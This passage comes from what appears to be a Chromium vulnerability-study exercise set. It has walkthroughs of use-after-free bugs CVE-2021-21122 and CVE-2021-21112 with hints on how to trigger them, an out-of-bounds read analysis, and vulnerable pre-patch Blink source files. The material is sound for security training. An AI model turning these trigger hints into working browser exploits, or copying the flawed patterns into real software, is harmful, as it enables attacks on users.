94 | * @param i string offset, must be start<=i(start) && U16_IS_LEAD(__c2=(s)[(i)-1])) { \
110 | (c)=U16_GET_SUPPLEMENTARY(__c2, (c)); \
111 | } \
112 | } \
113 | } \
114 | } UPRV_BLOCK_MACRO_END
115 | ```
116 | the third parameter is the length of the target string which be searched, just like find xy in xyd, and the length of this time is two.
117 | But [2] makes me puzzle, it seems like the `length` parameter is the end index of the `xyd`, but in truth it is the length of `xy`. And `@param length string length` proves my opinion. If we assignment i == length like i = 2, length = 2 and `__c2=(s)[(i)+1]` can oob read.
118 | We can check our answer by Detail.
119 |
120 | > This patch chagnes |IsWholeWordMatch()| to use |U16_GET()| with valid
121 | > parameters to avoid reading out of bounds data.
122 | >
123 | > In case of search "\uDB00" (broken surrogate pair) in "\u0022\uDB00", we
124 | > call |U16_GET(text, start, index, length, u32)| with start=1, index=1,
125 | > length=1, where text = "\u0022\DB800", then |U16_GET()| reads text[2]
126 | > for surrogate tail.
127 | >
128 | > After this patch, we call |U16_GET()| with length=2==end of match, to
129 | > make |U16_GET()| not to read text[2].
130 |
131 |
132 |
133 |
134 |
135 | --------
136 |
--------------------------------------------------------------------------------
/LEVEL_2/exercise_1/text_searcher_icu.cc:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2012 Apple Inc. All
3 | * rights reserved.
4 | * Copyright (C) 2005 Alexey Proskuryakov.
5 | *
6 | * Redistribution and use in source and binary forms, with or without
7 | * modification, are permitted provided that the following conditions
8 | * are met:
9 | * 1. Redistributions of source code must retain the above copyright
10 | * notice, this list of conditions and the following disclaimer.
11 | * 2. Redistributions in binary form must reproduce the above copyright
12 | * notice, this list of conditions and the following disclaimer in the
13 | * documentation and/or other materials provided with the distribution.
14 | *
15 | * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
16 | * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
17 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
18 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR
19 | * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
20 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
21 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
22 | * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
23 | * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
24 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
25 | * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
26 | */
27 |
28 | #include "third_party/blink/renderer/core/editing/iterators/text_searcher_icu.h"
29 |
30 | #include
31 | #include "base/macros.h"
32 | #include "third_party/blink/renderer/platform/text/character.h"
33 | #include "third_party/blink/renderer/platform/text/text_boundaries.h"
34 | #include "third_party/blink/renderer/platform/text/text_break_iterator_internal_icu.h"
35 | #include "third_party/blink/renderer/platform/text/unicode_utilities.h"
36 | #include "third_party/blink/renderer/platform/wtf/allocator/allocator.h"
37 | #include "third_party/blink/renderer/platform/wtf/text/character_names.h"
38 | #include "third_party/blink/renderer/platform/wtf/text/wtf_string.h"
39 |
40 | namespace blink {
41 |
42 | namespace {
43 |
44 | UStringSearch* CreateSearcher() {
45 | // Provide a non-empty pattern and non-empty text so usearch_open will not
46 | // fail, but it doesn't matter exactly what it is, since we don't perform any
47 | // searches without setting both the pattern and the text.
48 | UErrorCode status = U_ZERO_ERROR;
49 | String search_collator_name =
50 | CurrentSearchLocaleID() + String("@collation=search");
51 | UStringSearch* searcher =
52 | usearch_open(&kNewlineCharacter, 1, &kNewlineCharacter, 1,
53 | search_collator_name.Utf8().c_str(), nullptr, &status);
54 | DCHECK(status == U_ZERO_ERROR || status == U_USING_FALLBACK_WARNING ||
55 | status == U_USING_DEFAULT_WARNING)
56 | << status;
57 | return searcher;
58 | }
59 |
60 | class ICULockableSearcher {
61 | STACK_ALLOCATED();
62 |
63 | public:
64 | static UStringSearch* AcquireSearcher() {
65 | Instance().lock();
66 | return Instance().searcher_;
67 | }
68 |
69 | static void ReleaseSearcher() { Instance().unlock(); }
70 |
71 | private:
72 | static ICULockableSearcher& Instance() {
73 | static ICULockableSearcher searcher(CreateSearcher());
74 | return searcher;
75 | }
76 |
77 | explicit ICULockableSearcher(UStringSearch* searcher) : searcher_(searcher) {}
78 |
79 | void lock() {
80 | #if DCHECK_IS_ON()
81 | DCHECK(!locked_);
82 | locked_ = true;
83 | #endif
84 | }
85 |
86 | void unlock() {
87 | #if DCHECK_IS_ON()
88 | DCHECK(locked_);
89 | locked_ = false;
90 | #endif
91 | }
92 |
93 | UStringSearch* const searcher_ = nullptr;
94 |
95 | #if DCHECK_IS_ON()
96 | bool locked_ = false;
97 | #endif
98 |
99 | DISALLOW_COPY_AND_ASSIGN(ICULockableSearcher);
100 | };
101 |
102 | } // namespace
103 |
104 | static bool IsWholeWordMatch(const UChar* text,
105 | int text_length,
106 | MatchResultICU& result) {
107 | DCHECK_LE((int)(result.start + result.length), text_length);
108 | UChar32 first_character;
109 | U16_GET(text, 0, result.start, result.length, first_character);
110 |
111 | // Chinese and Japanese lack word boundary marks, and there is no clear
112 | // agreement on what constitutes a word, so treat the position before any CJK
113 | // character as a word start.
114 | if (Character::IsCJKIdeographOrSymbol(first_character))
115 | return true;
116 |
117 | wtf_size_t word_break_search_start = result.start + result.length;
118 | while (word_break_search_start > result.start) {
119 | word_break_search_start =
120 | FindNextWordBackward(text, text_length, word_break_search_start);
121 | }
122 | if (word_break_search_start != result.start)
123 | return false;
124 | return static_cast(result.start + result.length) ==
125 | FindWordEndBoundary(text, text_length, word_break_search_start);
126 | }
127 |
128 | // Grab the single global searcher.
129 | // If we ever have a reason to do more than once search buffer at once, we'll
130 | // have to move to multiple searchers.
131 | TextSearcherICU::TextSearcherICU()
132 | : searcher_(ICULockableSearcher::AcquireSearcher()) {}
133 |
134 | TextSearcherICU::~TextSearcherICU() {
135 | // Leave the static object pointing to valid strings (pattern=target,
136 | // text=buffer). Otheriwse, usearch_reset() will results in 'use-after-free'
137 | // error.
138 | SetPattern(&kNewlineCharacter, 1);
139 | SetText(&kNewlineCharacter, 1);
140 | ICULockableSearcher::ReleaseSearcher();
141 | }
142 |
143 | void TextSearcherICU::SetPattern(const StringView& pattern,
144 | FindOptions options) {
145 | DCHECK_GT(pattern.length(), 0u);
146 | options_ = options;
147 | SetCaseSensitivity(!(options & kCaseInsensitive));
148 | SetPattern(pattern.Characters16(), pattern.length());
149 | if (ContainsKanaLetters(pattern.ToString())) {
150 | NormalizeCharactersIntoNFCForm(pattern.Characters16(), pattern.length(),
151 | normalized_search_text_);
152 | }
153 | }
154 |
155 | void TextSearcherICU::SetText(const UChar* text, wtf_size_t length) {
156 | UErrorCode status = U_ZERO_ERROR;
157 | usearch_setText(searcher_, text, length, &status);
158 | DCHECK_EQ(status, U_ZERO_ERROR);
159 | text_length_ = length;
160 | }
161 |
162 | void TextSearcherICU::SetOffset(wtf_size_t offset) {
163 | UErrorCode status = U_ZERO_ERROR;
164 | usearch_setOffset(searcher_, offset, &status);
165 | DCHECK_EQ(status, U_ZERO_ERROR);
166 | }
167 |
168 | bool TextSearcherICU::NextMatchResult(MatchResultICU& result) {
169 | while (NextMatchResultInternal(result)) {
170 | if (!ShouldSkipCurrentMatch(result))
171 | return true;
172 | }
173 | return false;
174 | }
175 |
176 | bool TextSearcherICU::NextMatchResultInternal(MatchResultICU& result) {
177 | UErrorCode status = U_ZERO_ERROR;
178 | const int match_start = usearch_next(searcher_, &status);
179 | DCHECK_EQ(status, U_ZERO_ERROR);
180 |
181 | // TODO(iceman): It is possible to use |usearch_getText| function
182 | // to retrieve text length and not store it explicitly.
183 | if (!(match_start >= 0 &&
184 | static_cast(match_start) < text_length_)) {
185 | DCHECK_EQ(match_start, USEARCH_DONE);
186 | result.start = 0;
187 | result.length = 0;
188 | return false;
189 | }
190 |
191 | result.start = static_cast(match_start);
192 | result.length = usearch_getMatchedLength(searcher_);
193 | // Might be possible to get zero-length result with some Unicode characters
194 | // that shouldn't actually match but is matched by ICU such as \u0080.
195 | if (result.length == 0u) {
196 | result.start = 0;
197 | return false;
198 | }
199 | return true;
200 | }
201 |
202 | bool TextSearcherICU::ShouldSkipCurrentMatch(MatchResultICU& result) const {
203 | int32_t text_length;
204 | const UChar* text = usearch_getText(searcher_, &text_length);
205 | DCHECK_LE((int32_t)(result.start + result.length), text_length);
206 | DCHECK_GT(result.length, 0u);
207 |
208 | if (!normalized_search_text_.IsEmpty() && !IsCorrectKanaMatch(text, result))
209 | return true;
210 |
211 | if ((options_ & kWholeWord) && !IsWholeWordMatch(text, text_length, result))
212 | return true;
213 | return false;
214 | }
215 |
216 | bool TextSearcherICU::IsCorrectKanaMatch(const UChar* text,
217 | MatchResultICU& result) const {
218 | Vector normalized_match;
219 | NormalizeCharactersIntoNFCForm(text + result.start, result.length,
220 | normalized_match);
221 | return CheckOnlyKanaLettersInStrings(
222 | normalized_search_text_.data(), normalized_search_text_.size(),
223 | normalized_match.begin(), normalized_match.size());
224 | }
225 |
226 | void TextSearcherICU::SetPattern(const UChar* pattern, wtf_size_t length) {
227 | UErrorCode status = U_ZERO_ERROR;
228 | usearch_setPattern(searcher_, pattern, length, &status);
229 | DCHECK_EQ(status, U_ZERO_ERROR);
230 | }
231 |
232 | void TextSearcherICU::SetCaseSensitivity(bool case_sensitive) {
233 | const UCollationStrength strength =
234 | case_sensitive ? UCOL_TERTIARY : UCOL_PRIMARY;
235 |
236 | UCollator* const collator = usearch_getCollator(searcher_);
237 | if (ucol_getStrength(collator) == strength)
238 | return;
239 |
240 | ucol_setStrength(collator, strength);
241 | usearch_reset(searcher_);
242 | }
243 |
244 | } // namespace blink
245 |
--------------------------------------------------------------------------------
/LEVEL_2/exercise_2/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 2
2 |
3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details.
4 |
5 | ## CVE-2021-21122
6 | I sugget you don't search any report about it to prevents get too much info like patch.
7 |
8 |
9 | ### Details
10 |
11 | In level 2, we do it without the help of Details
12 |
13 |
14 | ---------
15 |
16 |
17 | For more info click me! But you'd better not do this
18 |
19 | https://bugs.chromium.org/p/chromium/issues/detail?id=1162131#c13
20 |
21 |
22 |
23 | --------
24 |
25 | ### Set environment
26 |
27 | after you fetch chromium
28 | ```sh
29 | git reset --hard 978994829edb17b9583ab7a6a8b001a5b9dab04e
30 | ```
31 |
32 | ### Related code
33 |
34 | [src/third_party/blink/renderer/core/editing/visible_units.cc](https://source.chromium.org/chromium/chromium/src/+/978994829edb17b9583ab7a6a8b001a5b9dab04e:third_party/blink/renderer/core/editing/visible_units.cc)
35 | You'd better read some introduce for [DOM](https://chromium.googlesource.com/chromium/src/+/8689d5f68d3ce081fb0b81230a4f316c03221418/third_party/blink/renderer/core/dom/#dom) and [layout](https://chromium.googlesource.com/chromium/src/+/8689d5f68d3ce081fb0b81230a4f316c03221418/third_party/blink/renderer/core/layout/#blink-layout) in chrome
36 |
37 | tips: CanContainRange[xxxxxxxx]() is virtual func, you can find all its def carefully for the true one.
38 | ### Do it
39 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
40 |
41 |
42 | ---------
43 |
44 |
45 | My answer
46 |
47 | At first, I analysis the [patched file](https://source.chromium.org/chromium/chromium/src/+/978994829edb17b9583ab7a6a8b001a5b9dab04e:third_party/blink/renderer/core/layout/hit_test_result.cc), but have no idea about the bug, so I see more about this cve at issue website. I notice that it was found by [Grammarinator fuzzer](https://github.com/renatahodovan/grammarinator), and when I want to use this fuzzer to continue this analysis, the usage can't run properly at my local. I don't make much time on environment or it's usage, because I don't think I can do the same as the author of this fuzzer in just two days :/
48 |
49 | Some bug found by fuzzer are difficult to find by analysis the source files, so I want continue this work with the help of break trace which author [pasted](https://bugs.chromium.org/p/chromium/issues/detail?id=1162131).
50 |
51 | I decide to analysis these func from top to bottom, the first
52 | ```c++
53 | bool EndsOfNodeAreVisuallyDistinctPositions(const Node* node) {
54 | if (!node)
55 | return false;
56 |
57 | LayoutObject* layout_object = node->GetLayoutObject();
58 | if (!layout_object)
59 | return false;
60 |
61 | if (!layout_object->IsInline())
62 | return true;
63 |
64 | // Don't include inline tables.
65 | if (IsA(*node))
66 | return false;
67 |
68 | // A Marquee elements are moving so we should assume their ends are always
69 | // visibily distinct.
70 | if (IsA(*node))
71 | return true;
72 |
73 | // There is a VisiblePosition inside an empty inline-block container.
74 | return layout_object->IsAtomicInlineLevel() &&
75 | CanHaveChildrenForEditing(node) &&
76 | !To(layout_object)->Size().IsEmpty() && [1]
77 | !HasRenderedNonAnonymousDescendantsWithHeight(layout_object);
78 | }
79 | ```
80 | We can know [1] trigger the uaf from break trace. So the `layout_object` can be free before call [1]. `layout_object->IsAtomicInlineLevel()` seems like just a judgement, so we can analysis `CanHaveChildrenForEditing(node)`. Because `layout_object` get from `node`, so `layout_object` can be deleted by `node`.
81 |
82 | ```c++
83 | inline bool CanHaveChildrenForEditing(const Node* node) {
84 | return !node->IsTextNode() && node->CanContainRangeEndPoint();
85 | }
86 | ```
87 | `node->CanContainRangeEndPoint()` is a virtual func which can be override. At first I ignore this point and just notice this func return false...
88 | ```c++
89 | bool HTMLMeterElement::CanContainRangeEndPoint() const {
90 | GetDocument().UpdateStyleAndLayoutTreeForNode(this); [2]
91 | return GetComputedStyle() && !GetComputedStyle()->HasEffectiveAppearance();
92 | }
93 | ```
94 | Notice this UpdateStyle, I guess it can delete object.
95 | ```c++
96 | void Document::UpdateStyleAndLayoutTreeForNode(const Node* node) {
97 | [ ... ]
98 | DisplayLockUtilities::ScopedForcedUpdate scoped_update_forced(node);
99 | UpdateStyleAndLayoutTree(); [3]
100 | }
101 | ```
102 | in [3] and later will call delete, we can get this by call tree.
103 | ```shell
104 | #1 0x563e4438c880 in Free base/allocator/partition_allocator/partition_root.h:673
105 | #2 0x563e4438c880 in operator delete third_party/blink/renderer/core/layout/layout_object.cc:240 [4]
106 | #3 0x563e443c643f in blink::LayoutObject::Destroy() third_party/blink/renderer/core/layout/layout_object.cc:3826
107 | #4 0x563e443c6169 in blink::LayoutObject::DestroyAndCleanupAnonymousWrappers() layout_object.cc:?
108 | #5 0x563e42da53d3 in blink::Node::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/node.cc:1714
109 | #6 0x563e42c3b542 in blink::Element::DetachLayoutTree(bool) element.cc:?
110 | #7 0x563e42a818bd in blink::ContainerNode::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/container_node.cc:1014
111 | #8 0x563e42c3b534 in blink::Element::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/element.cc:2807
112 | #9 0x563e42a818bd in blink::ContainerNode::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/container_node.cc:1014
113 | #10 0x563e42c3b534 in blink::Element::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/element.cc:2807
114 | #11 0x563e42da4968 in blink::Node::ReattachLayoutTree(blink::Node::AttachContext&) third_party/blink/renderer/core/dom/node.cc:1679
115 | #12 0x563e42c43106 in blink::Element::RebuildLayoutTree(blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/element.cc:3163
116 | #13 0x563e42a8660a in blink::ContainerNode::RebuildLayoutTreeForChild(blink::Node*, blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/container_node.cc:1378
117 | #14 0x563e42a869ca in blink::ContainerNode::RebuildChildrenLayoutTrees(blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/container_node.cc:1403
118 | #15 0x563e42c43428 in blink::Element::RebuildLayoutTree(blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/element.cc:3192
119 | #16 0x563e4293af00 in blink::StyleEngine::RebuildLayoutTree() third_party/blink/renderer/core/css/style_engine.cc:2071
120 | #17 0x563e4293c4d7 in blink::StyleEngine::UpdateStyleAndLayoutTree() third_party/blink/renderer/core/css/style_engine.cc:2110
121 | #18 0x563e42aee703 in blink::Document::UpdateStyle() third_party/blink/renderer/core/dom/document.cc:2540
122 | #19 0x563e42ade9f6 in blink::Document::UpdateStyleAndLayoutTree() third_party/blink/renderer/core/dom/document.cc:2493
123 | #20 0x563e42af049b in blink::Document::UpdateStyleAndLayoutTreeForNode(blink::Node const*) [5]
124 | ```
125 | [5] is the func we mentioned above. [4] delete object and we can delete layout_object there by set content-visibility to hidden.
126 |
127 | So in `EndsOfNodeAreVisuallyDistinctPositions` after `CanHaveChildrenForEditing(node)` will trigger uaf
128 |
129 |
130 |
131 |
132 | --------
133 |
--------------------------------------------------------------------------------
/LEVEL_2/exercise_3/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 3
2 |
3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details.
4 |
5 | ## CVE-2021-21112
6 | I sugget you don't search any report about it to prevents get too much info like patch.
7 |
8 |
9 | ### Details
10 |
11 | In level 2, we do it without the help of Details
12 |
13 |
14 | ---------
15 |
16 |
17 | For more info click me! But you'd better not do this
18 |
19 | https://bugs.chromium.org/p/chromium/issues/detail?id=1151298
20 |
21 |
22 |
23 | --------
24 |
25 | ### Set environment
26 |
27 | after you fetch chromium
28 | ```sh
29 | git reset --hard 13aa7b32816e52bf1242d073ada2c892798190e7
30 | ```
31 |
32 | ### Related code
33 |
34 | [third_party/blink/renderer/modules/compression/deflate_transformer.cc](https://source.chromium.org/chromium/chromium/src/+/13aa7b32816e52bf1242d073ada2c892798190e7:third_party/blink/renderer/modules/compression/deflate_transformer.cc)
35 | [third_party/blink/renderer/modules/compression/inflate_transformer.cc](https://source.chromium.org/chromium/chromium/src/+/13aa7b32816e52bf1242d073ada2c892798190e7:third_party/blink/renderer/modules/compression/inflate_transformer.cc)
36 |
37 | You can read this [doc](https://docs.google.com/document/d/1TovyqqeC3HoO0A4UUBKiCyhZlQSl7jM_F7KbWjK2Gcs/edit) and [this](https://github.com/WICG/compression/blob/main/explainer.md) to get some info about `CompressionStreams` in chrome
38 |
39 | Read comment of [third_party/zlib/zlib.h](https://source.chromium.org/chromium/chromium/src/+/13aa7b32816e52bf1242d073ada2c892798190e7:third_party/zlib/zlib.h) to get detailed about `deflate` or `inflate`
40 |
41 |
42 | If you find not release operation, you can get some tips here
43 |
44 | We can write the target data to chunk for compress by `CompressionStream('deflate').writable.getWriter().write([data])`, also we can read the compressed output.
45 |
46 | At the end of read operation, we can set "then" prototype to some javascript code to free the compressing buffer. But, how can we trigger uaf? Is the compression continue after we free? When should we release it?
47 |
48 |
49 |
50 | ### Do it
51 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
52 |
53 |
54 | ---------
55 |
56 |
57 | My answer
58 |
59 | I have assumed a lot of vulnerability types, but finally they all false. I find not free operation during the compression. I know the compress need allocate chunk to save data, and free some of them. But none of them exist in deflate func. Maybe it’s because I’m not familiar enough with it. In order to reduce the difficulty, I write some tips I get from author.
60 |
61 | Author supply a method can be universally used which I said above.
62 |
63 | If you have read the tow docs about `CompressionStreams`, you can understand the source code quickily. If chunk too large, we need divide it into multiple small to compress one by one.
64 |
65 | As I side above, the compression operation is carried out step by step. The output can be read step by step, and at the end of every read operation, we can set "then" prototype to some javascript code to free the compressing buffer.
66 |
67 | ```c++
68 | void DeflateTransformer::Deflate(const uint8_t* start,
69 | wtf_size_t length,
70 | IsFinished finished,
71 | TransformStreamDefaultController* controller,
72 | ExceptionState& exception_state) {
73 | stream_.avail_in = length;
74 | // Zlib treats this pointer as const, so this cast is safe.
75 | stream_.next_in = const_cast(start);
76 |
77 | do {
78 | stream_.avail_out = out_buffer_.size();
79 | stream_.next_out = out_buffer_.data();
80 | int err = deflate(&stream_, finished ? Z_FINISH : Z_NO_FLUSH);
81 | DCHECK((finished && err == Z_STREAM_END) || err == Z_OK ||
82 | err == Z_BUF_ERROR);
83 |
84 | wtf_size_t bytes = out_buffer_.size() - stream_.avail_out; [1]
85 | if (bytes) {
86 | controller->enqueue( [2]
87 | script_state_,
88 | ScriptValue::From(script_state_,
89 | DOMUint8Array::Create(out_buffer_.data(), bytes)),
90 | exception_state);
91 | if (exception_state.HadException()) {
92 | return;
93 | }
94 | }
95 | } while (stream_.avail_out == 0);
96 | }
97 | ```
98 | [1] calculate the remaining data needs to be compressed, and [2] call `enqueue` to compress them next time.
99 |
100 | A part of result will output after every time compression. We can read it and after we finish the read of once compression output, `then` func trigged. After free the compressing buffer, the next time of compression will trigger uaf.
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 | --------
109 |
--------------------------------------------------------------------------------
/LEVEL_2/exercise_3/deflate_transformer.cc:
--------------------------------------------------------------------------------
1 | // Copyright 2019 The Chromium Authors. All rights reserved.
2 | // Use of this source code is governed by a BSD-style license that can be
3 | // found in the LICENSE file.
4 |
5 | #include "third_party/blink/renderer/modules/compression/deflate_transformer.h"
6 |
7 | #include
8 | #include
9 | #include
10 |
11 | #include "third_party/blink/renderer/bindings/core/v8/array_buffer_or_array_buffer_view.h"
12 | #include "third_party/blink/renderer/bindings/core/v8/script_promise.h"
13 | #include "third_party/blink/renderer/bindings/core/v8/v8_binding_for_core.h"
14 | #include "third_party/blink/renderer/bindings/core/v8/v8_uint8_array.h"
15 | #include "third_party/blink/renderer/core/streams/transform_stream_default_controller.h"
16 | #include "third_party/blink/renderer/core/streams/transform_stream_transformer.h"
17 | #include "third_party/blink/renderer/core/typed_arrays/array_buffer_view_helpers.h"
18 | #include "third_party/blink/renderer/modules/compression/compression_format.h"
19 | #include "third_party/blink/renderer/modules/compression/zlib_partition_alloc.h"
20 | #include "third_party/blink/renderer/platform/bindings/exception_state.h"
21 | #include "third_party/blink/renderer/platform/bindings/to_v8.h"
22 | #include "v8/include/v8.h"
23 |
24 | namespace blink {
25 |
26 | DeflateTransformer::DeflateTransformer(ScriptState* script_state,
27 | CompressionFormat format,
28 | int level)
29 | : script_state_(script_state), out_buffer_(kBufferSize) {
30 | DCHECK(level >= 1 && level <= 9);
31 | memset(&stream_, 0, sizeof(z_stream));
32 | ZlibPartitionAlloc::Configure(&stream_);
33 | constexpr int kWindowBits = 15;
34 | constexpr int kUseGzip = 16;
35 | int err;
36 | switch (format) {
37 | case CompressionFormat::kDeflate:
38 | err = deflateInit2(&stream_, level, Z_DEFLATED, kWindowBits, 8,
39 | Z_DEFAULT_STRATEGY);
40 | break;
41 | case CompressionFormat::kGzip:
42 | err = deflateInit2(&stream_, level, Z_DEFLATED, kWindowBits + kUseGzip, 8,
43 | Z_DEFAULT_STRATEGY);
44 | break;
45 | }
46 | DCHECK_EQ(Z_OK, err);
47 | }
48 |
49 | DeflateTransformer::~DeflateTransformer() {
50 | if (!was_flush_called_) {
51 | deflateEnd(&stream_);
52 | }
53 | }
54 |
55 | ScriptPromise DeflateTransformer::Transform(
56 | v8::Local chunk,
57 | TransformStreamDefaultController* controller,
58 | ExceptionState& exception_state) {
59 | ArrayBufferOrArrayBufferView buffer_source;
60 | V8ArrayBufferOrArrayBufferView::ToImpl(
61 | script_state_->GetIsolate(), chunk, buffer_source,
62 | UnionTypeConversionMode::kNotNullable, exception_state);
63 | if (exception_state.HadException()) {
64 | return ScriptPromise();
65 | }
66 | if (buffer_source.IsArrayBufferView()) {
67 | const auto* view = buffer_source.GetAsArrayBufferView().View();
68 | const uint8_t* start = static_cast(view->BaseAddress());
69 | size_t length = view->byteLength();
70 | if (length > std::numeric_limits::max()) {
71 | exception_state.ThrowRangeError(
72 | "Buffer size exceeds maximum heap object size.");
73 | return ScriptPromise();
74 | }
75 | Deflate(start, static_cast(length), IsFinished(false),
76 | controller, exception_state);
77 | return ScriptPromise::CastUndefined(script_state_);
78 | }
79 | DCHECK(buffer_source.IsArrayBuffer());
80 | const auto* array_buffer = buffer_source.GetAsArrayBuffer();
81 | const uint8_t* start = static_cast(array_buffer->Data());
82 | size_t length = array_buffer->ByteLength();
83 | if (length > std::numeric_limits::max()) {
84 | exception_state.ThrowRangeError(
85 | "Buffer size exceeds maximum heap object size.");
86 | return ScriptPromise();
87 | }
88 | Deflate(start, static_cast(length), IsFinished(false), controller,
89 | exception_state);
90 |
91 | return ScriptPromise::CastUndefined(script_state_);
92 | }
93 |
94 | ScriptPromise DeflateTransformer::Flush(
95 | TransformStreamDefaultController* controller,
96 | ExceptionState& exception_state) {
97 | Deflate(nullptr, 0u, IsFinished(true), controller, exception_state);
98 | was_flush_called_ = true;
99 | deflateEnd(&stream_);
100 | out_buffer_.clear();
101 |
102 | return ScriptPromise::CastUndefined(script_state_);
103 | }
104 |
105 | void DeflateTransformer::Deflate(const uint8_t* start,
106 | wtf_size_t length,
107 | IsFinished finished,
108 | TransformStreamDefaultController* controller,
109 | ExceptionState& exception_state) {
110 | stream_.avail_in = length;
111 | // Zlib treats this pointer as const, so this cast is safe.
112 | stream_.next_in = const_cast(start);
113 |
114 | do {
115 | stream_.avail_out = out_buffer_.size();
116 | stream_.next_out = out_buffer_.data();
117 | int err = deflate(&stream_, finished ? Z_FINISH : Z_NO_FLUSH);
118 | DCHECK((finished && err == Z_STREAM_END) || err == Z_OK ||
119 | err == Z_BUF_ERROR);
120 |
121 | wtf_size_t bytes = out_buffer_.size() - stream_.avail_out;
122 | if (bytes) {
123 | controller->enqueue(
124 | script_state_,
125 | ScriptValue::From(script_state_,
126 | DOMUint8Array::Create(out_buffer_.data(), bytes)),
127 | exception_state);
128 | if (exception_state.HadException()) {
129 | return;
130 | }
131 | }
132 | } while (stream_.avail_out == 0);
133 | }
134 |
135 | void DeflateTransformer::Trace(Visitor* visitor) const {
136 | visitor->Trace(script_state_);
137 | TransformStreamTransformer::Trace(visitor);
138 | }
139 |
140 | } // namespace blink
141 |
--------------------------------------------------------------------------------
/LEVEL_2/exercise_3/inflate_transformer.cc:
--------------------------------------------------------------------------------
1 | // Copyright 2019 The Chromium Authors. All rights reserved.
2 | // Use of this source code is governed by a BSD-style license that can be
3 | // found in the LICENSE file.
4 |
5 | #include "third_party/blink/renderer/modules/compression/inflate_transformer.h"
6 |
7 | #include
8 | #include
9 | #include
10 |
11 | #include "third_party/blink/renderer/bindings/core/v8/array_buffer_or_array_buffer_view.h"
12 | #include "third_party/blink/renderer/bindings/core/v8/script_promise.h"
13 | #include "third_party/blink/renderer/bindings/core/v8/v8_binding_for_core.h"
14 | #include "third_party/blink/renderer/bindings/core/v8/v8_uint8_array.h"
15 | #include "third_party/blink/renderer/core/streams/transform_stream_default_controller.h"
16 | #include "third_party/blink/renderer/core/streams/transform_stream_transformer.h"
17 | #include "third_party/blink/renderer/core/typed_arrays/array_buffer_view_helpers.h"
18 | #include "third_party/blink/renderer/modules/compression/compression_format.h"
19 | #include "third_party/blink/renderer/modules/compression/zlib_partition_alloc.h"
20 | #include "third_party/blink/renderer/platform/bindings/exception_state.h"
21 | #include "third_party/blink/renderer/platform/bindings/to_v8.h"
22 | #include "third_party/blink/renderer/platform/wtf/text/wtf_string.h"
23 | #include "v8/include/v8.h"
24 |
25 | namespace blink {
26 |
27 | InflateTransformer::InflateTransformer(ScriptState* script_state,
28 | CompressionFormat format)
29 | : script_state_(script_state), out_buffer_(kBufferSize) {
30 | memset(&stream_, 0, sizeof(z_stream));
31 | ZlibPartitionAlloc::Configure(&stream_);
32 | constexpr int kWindowBits = 15;
33 | constexpr int kUseGzip = 16;
34 | int err;
35 | switch (format) {
36 | case CompressionFormat::kDeflate:
37 | err = inflateInit2(&stream_, kWindowBits);
38 | break;
39 | case CompressionFormat::kGzip:
40 | err = inflateInit2(&stream_, kWindowBits + kUseGzip);
41 | break;
42 | }
43 | DCHECK_EQ(Z_OK, err);
44 | }
45 |
46 | InflateTransformer::~InflateTransformer() {
47 | if (!was_flush_called_) {
48 | inflateEnd(&stream_);
49 | }
50 | }
51 |
52 | ScriptPromise InflateTransformer::Transform(
53 | v8::Local chunk,
54 | TransformStreamDefaultController* controller,
55 | ExceptionState& exception_state) {
56 | // TODO(canonmukai): Support SharedArrayBuffer.
57 | ArrayBufferOrArrayBufferView buffer_source;
58 | V8ArrayBufferOrArrayBufferView::ToImpl(
59 | script_state_->GetIsolate(), chunk, buffer_source,
60 | UnionTypeConversionMode::kNotNullable, exception_state);
61 | if (exception_state.HadException()) {
62 | return ScriptPromise();
63 | }
64 | if (buffer_source.IsArrayBufferView()) {
65 | const auto* view = buffer_source.GetAsArrayBufferView().View();
66 | const uint8_t* start = static_cast(view->BaseAddress());
67 | size_t length = view->byteLength();
68 | if (length > std::numeric_limits::max()) {
69 | exception_state.ThrowRangeError(
70 | "Buffer size exceeds maximum heap object size.");
71 | return ScriptPromise();
72 | }
73 | Inflate(start, static_cast(length), IsFinished(false),
74 | controller, exception_state);
75 | return ScriptPromise::CastUndefined(script_state_);
76 | }
77 | DCHECK(buffer_source.IsArrayBuffer());
78 | const auto* array_buffer = buffer_source.GetAsArrayBuffer();
79 | const uint8_t* start = static_cast(array_buffer->Data());
80 | size_t length = array_buffer->ByteLength();
81 | if (length > std::numeric_limits::max()) {
82 | exception_state.ThrowRangeError(
83 | "Buffer size exceeds maximum heap object size.");
84 | return ScriptPromise();
85 | }
86 | Inflate(start, static_cast(length), IsFinished(false), controller,
87 | exception_state);
88 |
